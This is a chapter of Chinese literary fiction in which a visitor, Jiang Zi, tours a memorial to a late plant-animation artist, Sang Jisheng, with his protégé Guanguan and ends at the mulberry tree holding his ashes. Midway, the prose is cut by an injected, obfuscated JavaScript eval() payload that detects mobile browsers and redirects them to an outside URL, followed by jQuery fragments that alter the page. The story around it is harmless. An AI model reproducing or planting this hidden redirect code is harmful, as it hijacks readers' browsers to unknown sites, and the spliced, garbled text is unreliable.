02 像一只松鼠，回到森林
走累了，是可以坐一坐了。
姜籽望向放映厅后方十几把不同类型的椅子，它们歪曲扭八地组成了一支散漫的队伍。这是桑导带着关关从镇上市集上收来的老椅子，有藤椅、老的摇椅、长款靠背椅等等。每个椅子上都放着一个木质的小盒子。
“这也是展览的一部分，每一个盒子里，都有桑导平时在工作时会用到的东西，可以帮助来客更好地了解他是一个什么样的人。请随便坐，并且打开盒子看看。”关关代替阿桑完成了最后一句解说词，并做了一个请的手势。
姜籽走向一个旧的椅子。两米多长，老式的斜靠背木头长椅。红漆已经褪色了，变成介于枣红与橘黄之间的颜色。姜籽看着很顺眼。她坐下，自然地靠到旧椅背上，立马感受到腰背都得到了温和的支撑。这反而是她最近坐过的最舒服的一把椅子了。腿边触手可及的地方，有一个醒目的绿色木盒子。
她打开盒子，里面是一大堆干玉米粒。色泽金黄，只是有些干瘪了。
这是什么工作工具？难道是占卜用的？姜籽对着玉米粒发了一会儿呆，实在猜不出，只好抬起头，忽闪着大眼睛看关关。
“他口袋里总是有一堆干玉米粒，用来给我们的作业打分。他很精细的，设定20颗玉米粒代表最好。如果遇到很满意的作品，或者某一个很好的想法，很棒的设计，他会很兴奋地喊我们到一个大桌子前，掏出来玉米粒，一颗一颗慢慢摆，摆够20个。我们呢，就要等着这个做事慢悠悠的人，一颗一颗地玉米粒摆出来。
真是，有点无奈啊。我每次看他点评新人作业，都会觉得，啊，一只树懒在讲台上慢动作。是的，就是动画电影里那只做事很慢的树懒。但他同时也很严格，会详细地指出来我们的作品中，哪里还不够好，可以如何精进。这些建议切合实际，的确很有用。所以，我们又不得不等，不得不耐心地听。”
原来如此。姜籽来了兴致，看看其他几个座椅上都有小盒子。于是她又选了一个看上去有些特别的摇椅。摇椅很旧了，乍看，像是一个圈加一个圈组合而成的椅子，视觉上和桑寄生的签字风格有奇妙的呼应。摇椅两侧的扶手以夸张的圆形造型抢眼，不过它的结构很牢固。坐上去，姜籽轻轻晃了下身子，摇椅摇起来，发出轻微的吱嘎声，但也稳当。她这次拿到的小盒子里是一颗果实，带毛刺的小球球，看起来有些像昆明街边常见的枫香树的果子，但有些差别。
“这是小果栲，它的意思说起来，就有点意思了。”关关也找了个低矮小凳子坐下。凳子小小的，矮矮的，坐上去的人也显得十分乖巧，像在火塘前烤火一般的坐姿，让人觉得接下来她要说的话，一定也很温馨。关关说，“这是他的信。我们这边少数民族都有一些各自很原始又特别的交流方式，其中一种是实物信，用个别的东西，比如树叶、农具等来传达特定的意思。比如，我给你一颗果子，这个果子代表某种意图。即便我不言不语，只要把果子交给你，就传达了我的意思。盒子里的这种果实，代表祝福，比如说，希望两个人和和美美地生活在一起。谁要结婚了，你就可以给他这样一颗小果球。
类似的例子还有，如果我送你一把臭菜，就代表感到惋惜。两年前，一个同事因为女朋友不愿意来西南，又不想分手，所以不得不回江苏的时候。桑导心里挺难过，但也表示理解，于是他拿给那个男孩子一把臭菜。当时可是尴尬极了，男生虽然知道桑导的这个习惯，但对臭菜还是第一次见。要不是我及时翻译了意思，对方脸都绿了。
如果送蕨叶呢，就代表你要等一等。如果工作室门口哪天出现了蕨叶，就意味着今天会发东西，下班时间先不要走。”
“发东西？发什么东西呢？”姜籽问。
“他啊，他喜欢赶大集。大集上买回来的栗子、苹果、李子，通常一买就是一大包，他分给大家一起吃。尤其是新鲜的热乎乎的烤松子，就得分着吃，很快吃完，不然凉了就不好吃了。”
姜籽摸索着小盒子里的果实，硬硬的。来时，她记得旧报纸那篇报道里写，桑寄生其实是会开口说话的。在被带出村子后，桑寄生迫于交流所需，慢慢地开口说话，只是说话很慢。在很慢的前提下，偶尔，会有一点点口吃。所以，听话的人一定要很耐心。他更习惯随身带一个小本子，写简洁的字，这样和人交流。但她没想到，这个人说话，也可以有很多方式。到了云南，桑寄生甚至可以用一颗果实、一把臭菜来说话。
“他是不太愿意和人说话吗？”姜籽问。
“更礼貌地说，他应该是那种更愿意和植物说话的人吧”，关关说，“桑导其实是个很和善的人，心软，对小辈很照顾。所以，我不能说他不喜欢和人说话就是不喜欢人，只是他的习惯吧。”关关说着，又换了把椅子，坐在距离姜籽更近的地方。
那是一只很低矮的藤椅，看起来是专门给小朋友坐的，椅子的靠背做成了孔雀尾羽的样子。这是关关修复之后的结果。由于是很早之前的旧物，椅子的主体是好的，靠背却有多处已经裂开，有多个小窟窿。被收回来之后，桑寄生和关关用接近绿孔雀羽毛颜色的毛线，反复缠绕，给它重新缠出了健全的尾巴作为坚实的椅背。一个瘦小一些的成年人，刚好可以舒服有安全地窝进去。
“他和我说过，他更喜欢和植物说话。但也不是开口说话，只是靠近了，就觉得可以交流。植物没有眼睛，没有大脑，没有嘴巴，但它们对光、对水、对土壤都能做出反应。它们是有生命的。你相信，你感受到了这种生命，你就可以更灵活、精准地控制光、借助光，展现出植物的生命来。哪怕是利用枝叶标本，也可以更好地重现它活着的样貌。当它们在你手中变成活的，这就叫做沟通。这种沟通，对我们工作室所做的植材动画，尤为关键。”
这就叫沟通，姜籽在内心默默重复着这句话。这话听起来很熟悉，它牵连出姜籽的一段记忆。
在国美读书时，姜籽的一位老师擅长以传统的岁寒三友位主题的水墨画。老师课上有一个作业要求：技巧之余，要画出风骨。当年，就是这“风骨”二字，让姜籽苦不堪言。或许是因为年纪小，尚未曾经历什么风霜，或许因为从小在昆明长大，这里，植物们被天老爷眷顾，不需要太用力就能长得舒展高大，所以，姜籽的作业总是缺少老师要的气质，从来无法让老师满意点头。
“你要画竹子，枝叶扶疏，要让有些彼此相扶，有些相互疏离，有些单独傲立；你要画梅花点点天地心，有些梅花是向天开的，有些是向地开的。但是，每一个都要有力气。”
姜籽总是达不到“力气”。后来，老师直接让姜籽买了一张去她老家东北的机票，去冷的地方，看植物如何活。那时姜籽第一次去过零下二、三十度的地方。回来后，她画的植物，果然，硬朗多了。那次之后，老师拿着姜籽的作业，对她说，“你终于和会植物沟通了，你以前对它们，太习以为常了。但这不是你的错，你只是太幸运，生在了植物们都好命的地方。但有时，你需要去植物们没那么好活的地方看一看，和更真实的生命，说说话。”
姜籽望着手中的小果实，问关关，“那你们呢？也要和植物说话吗？怎么说呢？”
“当然，每个人都需要。我们刚加入工作室时要经历很多课程，包括我。我们要去了解植物的基本科学知识，然后去完成一个作业小片。
有个同事来自四川，爷爷奶奶养烟叶。他就要回去家乡，跟着爷爷种烟叶，然后制作出了一个用烟叶来勾勒爷爷一生的作业。另外一同事研究花朵与日照的关系，通过缩短和延长光照来控制花期，看看十二花神里有多少花可以相遇，以此来重新编写十二花神之间的当代职场新剧。这个很可爱的吐槽小短片还获了奖。
而我，一窍不通。桑导说，我生在云南，对植物太习以为常了。人家觉得壮阔、美好、惊喜的东西，我都无动于衷。所以，我得重新认识植物。于是，他让我整理两个月的植物标本，说什么时候能和植物沟通了，再来找他，往下一步走。”
“然后呢？”姜籽问。
“三个月后吧，我就整理出‘毛病’来了。”关关说。
“什么？”姜籽来了精神。
“我啊，我有幻觉了。我好像能和植物说话了。哎，这事儿，说起来神神叨叨的。很难说是听到，或许只是感受到了。我也不知道我感受到了什么，也可能是每天给工作室的花草浇水，整理标本，老眼昏花意识也不清楚了吧。”关关苦笑。
“有一天，我见到一棵树，它的主干分出的两根侧枝中间，又新长出一窝小叶子，像新孵出来一窝小鸟那样。我走着路忽然停下来，因为我觉得，那窝小树叶好像在笑，它们好开心啊！从那之后，我就能辨别植物是不是开心了。当然，也可能是我胡思乱想。
我看到黑水鸡在睡莲叶子上走来走去，我就能知道，莲叶在想什么。它们觉得，这只黑珍珠般的公主很可爱，它们要把莲叶上的水聚拢好，给它在湖面上掬出一片迷你的湖泊来，让它不必和其他黑水鸡争抢，有一个私家的戏水池。
我看到被遗弃在竹林里的小风车，竹林会朝我喊，看它一眼吧，好久美人来看它了。我路过卡主了一只羽毛球的香樟树，会帮无法可施的打球人问一下，能不能帮个忙，让球下来。然后一阵风就会吹过来，羽毛球竟然下来了。”
关关把腿盘上了孔雀椅子，她转过头歪着看姜籽，“奇怪吗”？问话时，它身体微微晃，像荡漾在莲叶上的小水珠。
“不奇怪”，姜籽答。她语气很坚定，又很从容。这是她第二次回答这样的问题了。姜籽心想，二更真的也该来的。
“是吗？哦，你真好啊。当我把这些说给桑导听，他才让我继续下一步了。”关关说着，一下子重心不稳，朝后仰得太过，摇椅直接翻了过去。姜籽忙起身把关关扶起来。一番慌乱之后，姜籽发现，视听室后方有个后门，后门上，挂了两幅画。
说是画，其实更像是两幅蹩脚又难看的字。
第一张，像有小孩子的家庭贴在墙上的识字表，又像化学课本上的元素周期表。每一格的内容都很怪。
“这是，用蓝花楹叶子拼接成的字”，关关解释说。
姜籽细看，这些字果然是用米粒大小的细叶拼成的，字体整体而言，有些像篆体。
“不过，这是他自己造的字，别人都看不懂”，关关补充说，大概是怕姜籽猜很久又猜不出，提前告知答案。
果然，一个妙人创造一个新世界的终极功法，一定包括创造自己独特的文字或是语言。如果把一个人的人生，看成一个文明的发展史，那它必然也应该有仓颉造字、盘古开天这样的创世神话。
原来是一幅书法作品，姜籽不由地多瞻仰了几分钟，哪怕暂时还看不出头绪。姜籽没有放弃，她还在对着这些怪异的字看，“他想表达的，是自由吗？”姜籽问。
“哦，哈”，关关十分惊讶，走近了，和姜籽一起看，又转头看看姜籽，笑着说道，“竟然有人能猜到。他和我说过这幅字的内容，第一句话是，不再圉于囹圄，第二句，原谅我，实在忘记了。忘记之后，我对着它，再也认不出来了。不过，你为什么觉得和自由相关呢？有什么门道吗？”
“虽然有很多方块的元素，但我感觉，这些树叶，是飞着的。所以就大胆猜了一下，没什么特别的法门，但既然飞起来了，一定是和飞翔、自在、冲破框架这类意思相关吧？我只是顺着猜了一下。”姜籽说。
“这样简单么？”关关又对着那幅她忘了什么意思的字看了一下，嗯，还是看不懂，她放弃了，转而问姜籽，“那，也请猜一下另一幅吧！”
关关指向的另一幅，应该也是字，而且很明显，是四个字。
姜籽这次不太敢认了。她想起一个段子，网友猜字，讨论一番，认定是“逮住□□攥出尿来”，结果人家写的是“前程锦绣，继往开来”。就这种字数确定的怪字，最危险了！
但挨不住关关的央求，姜籽又仔细看它。这幅字是用蕨的小叶子拼成的行书。姜籽看了一会，打算放弃，右眼皮忽地开始跳起来。她觉得这痉挛来得着急，或许用眼过度，于是用手轻揉了下右眼睑，再眨眨眼，睁开眼，这幅字在她眼中竟然很神奇地，明了了 - - “归去来兮。”
关关看着这幅字，又看看姜籽，来不及整理乱了衣角，只干愣着。过了半晌，她猜悠悠说道，“你是第二个认出来的人。”
“那第一个是谁？”姜籽问。
“他自己。”关关说完，无奈地笑起来，笑得很爽朗，不像是一个刚摔了一跤的人，也不像是悲伤地怀念一个故人的人，“毕竟，真的很难认，而且还有点难看。”
不止认出了字，姜籽还发现，“来”字上部分的那个丿笔画，隐隐约约在动。她径自走上前，试探性地，用手轻轻触摸。这个笔画，竟然是立体的，似乎还能动。她尝试把它小心地拨动，打到了另一边，“嘎嘣”一声，后门开了。
这个笔画，原是一个隐者的门闩。这幅字，也不只是一幅字，它掩住了视听室的门。
门开了，姜籽才意识到，刚才这一系列动作太莽撞了。她似乎短暂地失去了意识，被谁推着打开了一扇门。回过神来，她赶忙道歉。关关带着一脸惊讶的神色，但无意责怪。她整整衣服，没有再坐下，而是走上前去，把那扇门更进一步推开。
门后是一条小路。
“既然，你打开了。要不要去村子后面的林子里走走？我叔叔，可能在邀请你了。不要拒绝。”关关道。
即便在建在一小块平坝上，阳荷村的房子也不是平整地一排一排存在的，而是依据轻微的地势起伏，各有各的朝向，不太讲究汉族的门当户对。小门口的这条小径，歪歪斜斜地贯穿着村子的后半部分。姜籽随关关沿着小径向前走，路过几家小院，每家每户都养着花。有些是防止虫害的，比如蛇灭门。尽管现在村子里几乎没有蛇了，人们还是留下了这个习惯。还有一些多肉装饰在大门两侧，绿色的珊瑚树因经久日照，窜成了一丛丛密林，顶端晒得通红，像极了红珊瑚，显得这家人很是富贵。
脚步向上，缓缓爬坡，两人走向村后的树林。小径开始变得宽阔起来，渐渐远离人家，植物都生得高大健壮。左边探出来几片巨大的海芋叶子，右边又垂下几片懒惰了的棕竹叶春羽、龟背竹、芭蕉叶，各个都铺展得很嚣张，对小径上的来人有好奇心。姜籽身入其中，不得不左拨一下，右拨一下，像是把一扇扇门帘推开，动作很轻，不敢打扰这秘境的看守者们。如果推的力道太大，它们还会荡回来打人。
有那么一个瞬间，姜籽觉得像是进入了一个游戏世界。怪不得，隔壁村的偷甘蔗活动这么火爆。在这样的地方，人们真的会相信，自己会变成一只偷甘蔗的狗熊，或是误入密林的小白兔。
相较姜籽的谨慎，关关一进林子，就不太一样了。她像一个听见了圆舞曲的舞者，脚步不自觉地有了属于山林的节拍。
“别紧张，你可以搂着森林里的风跳舞，跳着跳着，你就真的进入森林了。”她一边说着，一边弯下腰，拔了一丛狗尾巴草，再来几朵金黄色的野菊花，攒子手中，几秒钟，就攒出一束花。她递给姜籽，“拿着，拿着就不紧张了。”
又走几步，她停下来，脚一勾，地上一只细长的树枝就到了她手中。她拿着小树枝挑起了身边一束藤蔓植物。姜籽细看，叫起来，“小西瓜！” 是马泡瓜，她好久没见过了。细细的树枝像关关延长了的手臂，灵活地搭上那根马泡瓜的枝条，关关一拉，藤轻盈地划出一段抛物线。再利落地一薅，几颗马泡瓜就落入了关关的掌心。她示意姜籽也来摘，姜籽摘了五六个，两人分一分，拿在手中把玩。说起来，这瓜看起来很爽口，像小青瓜，但吃起来多少还是生涩的。关关没有吃，她把藤轻盈地甩回了不远处，把手中的小瓜抛向了远处，帮它在别处生一生根。
头顶上，青冈栎、云南油杉、樟树、桑树、桧木、榉树等高大的乔木丛生。越往里走，林子越密，大树把这里包裹地像一颗味道奇特的糖果。姜籽隐隐约约嗅到一丝香甜。当这种气味越发浓烈时，两人走到了一棵巨大的桑树之下。
就是它了。这就是桑寄生的来处。
巨大的桑树有笼罩住一切的气度。即便在夏季的午后，它仍将这里的林间梳理地很清凉。桑寄生的骨灰，就在这里。关关担心姜籽忌讳，只说，想让她看看这棵“生”出了桑寄生的树。
然而姜籽敏锐地视觉，发现了桑树粗壮的树枝上，有一座小小的树屋。树屋被刷成了粉色。除了桑寄生的骨灰，里面还有一些粉色的玩偶，粉色的微型桌椅和床，都是桑寄生自己做的，他喜欢粉色。尽管桑寄生的作品里都是清淡的绿色，私人生活中，却有很多粉色的东西。除了粉色的树屋，这几棵树上还有另外几处小房子，关关会定期往里面放一些坚果。动物们偶尔来住，最常见的，是松鼠。有了它们，桑寄生在这里就不会寂寞。
亨利·梭罗曾在瓦尔登湖畔建造小木屋，约翰·巴勒斯曾在河畔小屋演绎众鸟欢乐颂，约翰·海恩斯在荒原小屋里面做关于北极的古老的梦。和自然亲近的人，往往都想要一个小木屋，人在其中远离喧嚣，与自然为伴。桑寄生在去世之后，也实现了这样的生活。关关如实坦露，姜籽也并不觉得害怕，只是好奇，“他竟然喜欢粉色？”
桑寄生喜欢上粉色，也是最近两年的事情。他身体不太好了，做事更任性，越发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294820|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜欢来森林里这棵树下坐着，一坐就是大半天，谁都找不到。过去，他总是喜欢穿棕褐色的衣服，和树干一个颜色。即便关关他们拿着望远镜找，也不容易找到他。没办法，关关和他商量，要不要试试穿粉色？不怎么招虫子，在森林里一眼就能找见，像颗明亮的桃。
不想难为关关，他竟然答应了。
“所以，从那之后，每当我需要找他，我就站在那里”，关关转身，指着图书馆的方向，“用望远镜找一个粉色的人。然后，我用弹弓打掉他身边的一片叶子，告诉他，该回来了，有事。”关关说完，忽然想起来要补充一个解释，“他是不用手机的，一直以来，都不用手机。叔叔很神奇。工作的时候，像一个精密的仪器。不工作的时候，像一只躲进水里的鱼，不是那么好找，也不愿意被别人打扰。”
桑寄生不用手机，关关就只能总结他的作息，总结一些找他的方式。比如，村道上擎着花的那个人就是他。桑寄生身体好的那几年，会走上个几里路，去镇上大集买花。他很喜欢那种生的饱满的花果，比如百合、唐棉。他一路举着走回来，就像举一个火把一样，点亮他回村的路。通常，他在傍晚之前就走回来了，赶得上吃饭。如果饭前他还没回来，关关就会村道找一个举着一个大棒槌的人。傍晚，村子里的鸭子也要回家，赶上恰当的时刻，会跟着他一起回来。也不知道鸭子是喜欢花，还是喜欢他，鸭子们总是在他身后拍成一条队，嘎嘎地，带伴奏。有了鸭子，桑寄生就好找了许多。
姜籽听着，默默地把刚才关关做的那束花，放在了桑树下。关关看到，又随手摘了个姜籽未察觉到的藤蔓植物，三下两下，把它编成一只鹿。又随手捡一些叶子，在树下的地上拼出一幅飞鸟的图案。关关常在林间走，真的见过这些动物，对他们的特性、灵性体察精准。编起来、拼起来，都信手拈来。
姜籽静静地看着她手中灵活的动作，回忆起一个人。
多年前，她跟随参与的植物志项目组，受邀去海南岛参加一个活动。到林业局一下车，姜籽就被半空燃起的花火惊艳到了。岛上遍布火焰木，开得热烈，落花满地，拾起来一朵细看，每一朵都像穿着火红色大裙摆的金发姑娘。姜籽看到一个小女孩在摆弄落花，把每一朵落单的红裙舞娘，摆成了舞团。她又随便捡了几片火焰木的落叶，按照颜色的深浅过渡，摆出了一个圆形的舞台。
姜籽彷佛从关关身上，看到了那个小女孩长大了的样子。她恍惚又从关关的身上，看到了桑寄生年轻时候的样子。她从这样微妙的关联之中，揣摩着桑寄生奇妙的人生。
这感觉，是准的。如果在这个世界上找一个能懂桑寄生又很像桑寄生的人，那一定是关关。
因为关关，就是桑寄生从村子里带出去的会画画的孩子。她的人生历程，某种程度上而言，和桑寄生是叠合的。虽然，桑寄生从村中带出去读书的孩子不只关关一个，但只有关关，选择了和桑寄生类似的道路，在桑寄生归航时，坚定地追随他回来。
“你看那些竹子，像不像狗尾巴草？”关关起身，问姜籽。
姜籽从山林中回望桑寄生的纪念馆，竹子长到到了顶端，就会慢慢弯下腰来，远看，确实像。
关关忽然很突兀地说，“我叔叔有一些不太好的传闻。”
话题转换得有点快，姜籽不知如何应对。但她记得二更的锦囊：对方提到沉重的话题，不要回复，从容地聆听。
“我叔叔他结过一次婚，老婆孩子现在都在国外。有一些说法，说他在国内赚了钱，还不是把老婆孩子都送出去了？有些人拿这些否定他回家乡之后所做的一切事情。
其实，他和前妻在婚后逐渐对生活的规划方面发生了很大的分歧，前妻觉得，有钱有名气了，就该出国。她那一代的人，从国内还不如美日欧洲国家的背景下长大，在精神上产生对于欧美的崇拜，也不是不合理的事情。那是她们的选择。
但我叔叔和她不一样。其实，他们在离婚之前，已经分居多年了。所谓的儿子，是在分居的那几年，前妻和男友生下的。随后，前妻和儿子跟着那个男人去了美国，但后来，据说两人没在一起。前妻在之后努了把力，嫁了个美国白人。后面如何，完全和我叔叔无关了。
我叔叔的婚姻，是以妻子一方的过错为缘由离婚的，双方没有剪不断的复杂矛盾，财产也分得很清楚。不知道为什么，还是会有这样的传言。工作室发过公告。但叔叔去世后，这样的言论又被翻出来。”
自从走入森林之后，关关就直接叫桑寄生叔叔了。
“我再年轻两三年的时候，会觉得这很不公平。一度为此赌气。现在呢，好一些了，不觉得有什么。”
“为什么？”姜籽问。
“他所做的一切，都在生长啊，不是吗？你看，那个纪念馆，就像生机勃勃的狗尾巴森林啊！艺术新村民计划，也做得很顺利，我们的工作室虽然是以叔叔为核心建立的，但即便它走了，我们的事业也依然没有收到影响，大家都被他雕琢得很成熟了，各有各的作品，长久地生发下去。
他的艺术生命和生命，都不会因为其他什么，变质。我叔叔和前妻有本质的区别。一个认美国爹，一个认祖归宗，根本不会在同一部史书上。争论和解释变得不再必要，浪费心神和时间。各自写好各自的篇章就好了。他的篇章，写得很好。剩下的，留给时间吧。”
关关不知道从哪里掏出来一包坚果，问姜籽，“吃吗？”
姜籽拿了一颗碧根果，关关自己又吃了几粒核桃，剩下的，随手塞在了最矮的一个小树屋里。时常来看桑寄生，现在关关也变得像森林里的谁，比如一只松鼠，会藏东西。
她歪着头看姜籽，问道，“你说他，像不像森林里的一只松鼠？”
“什么？”
“我觉得叔叔没走。他还在这片森林里。”关关说，“或许，就变成了一只松鼠吧。”
桑寄生回云南之后，回到曾经旧村子边缘处的山林里，看到小时候他给榕树细长气根辫过的辫子，保持着辫子的姿态，扎根大地，长成了粗壮的树干。他喜欢给很多植物编辫子。来到新村后，来这片山林时，也延续了这个爱好。关关觉得有趣，跟着学，但后来就不学了。因为她想明确一件事情，就是无论她在林子里看见什么辫着的东西，就能确信是叔叔留下的，只有叔叔会这么做。
“他自从回来了，就一直都喜欢往林子里多。在外人看来是躲，但他看来，应当是回。他来自森林，最后，也回归了森林。我想，他并不孤独。他是有一整个森林的人。我甚至开始理解，为什么人生最后的弥留时刻，他整个人特别安静。我怀疑他能感受到，要回家了。”
松鼠一辈子都在树上跳来跳去，它和树说话吗？
说吧，咕咕嘎嘎，人类可能听不懂，不知道它在说什么。
它会对着大树倾诉吧？
会吧，表达对森林，对万物的眷恋。对天对地，对森林，对雨水、泥巴、大石头。有他自己的语言，他不会寂寞。
姜籽静静听着关关，以不以交流为目的的声音，细声地嘟囔着。
“那你，回到这里，会寂寞吗？”姜籽问。
“当然，没有！”，关关看着远方层层叠叠的绿，“我有想做的事情，就在这里做。这里真实，简单，辽阔。”
“我现在也很喜欢森林。早晨走一遍，傍晚走一遍，剩下的时间，做自己喜欢的事，这一天就过得很充实。人越坚定，越简单。越简单，越坚定。我做的事情很微小，顶多，算是一种可爱的艺术吧，像一滴雨一样落入森林那样，或许能滋养几个人的心田，也没什么很大的用处。但我已经想好了，我的人生，没有必要这么复杂和匆忙。我愿做森林里的一滴雨，无人知处，慢慢落，最终有一点点润泽这个世界的意义，就可以了。
而且，你不也回来了吗？姜籽老师，和画师？”关关眨眨眼睛
相认了。
坐在桑树下，背靠着大树，两人渐渐地都不再言语。关关大概是在陪伴桑寄生，姜籽也乖乖的，过来拜会这位老师。清风微动，从一片叶子，吹到另一片叶子。在它们旁边，迷你树屋里栖息着一只睡得很甜的小松鼠。夕阳西下，天空由红变黑的过程中，会路过一道紫，像桑椹的紫。
在天色变紫时，姜籽忽然觉得似乎口袋里有轻微的触感，手掏口袋，竟然摸到了一个东西。抽出来，是图书馆里的一张卡片。
夜深沉
花未眠，
晚安，亲爱的。
身旁的关关仍在闭目养神，姜籽没有打扰。她学着关关那样，把这张卡片，放在了她藏坚果的那个最低矮的小树屋里。
就这样，和桑寄生问个好，再道个别吧。